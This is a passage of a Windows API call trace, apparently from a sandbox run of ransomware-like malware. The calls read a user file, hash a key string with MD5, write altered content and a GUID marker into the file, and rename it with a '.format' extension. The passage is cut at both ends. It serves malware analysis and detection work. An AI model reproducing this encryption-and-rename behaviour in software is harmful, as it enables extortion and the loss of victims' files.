dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.623] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.623] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xe2, lpOverlapped=0x0) returned 1 [0067.623] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.623] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.623] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.623] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.624] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.624] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.624] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.624] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.624] GetLastError () returned 0x0 [0067.624] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.624] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328cda0 [0067.624] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.624] WriteFile (in: hFile=0x5c8, lpBuffer=0x328cda0*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x328cda0*, lpNumberOfBytesWritten=0x38cfb24*=0xdd, lpOverlapped=0x0) returned 1 [0067.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328cda0 | out: hHeap=0x5d0000) returned 1 [0067.624] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.625] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.625] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.625] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.625] CloseHandle (hObject=0x5c8) returned 1 [0067.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0067.625] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.format")) returned 1 [0067.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.626] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.627] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0067.627] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.627] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac1b0 [0067.627] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.633] HeapFree (in: 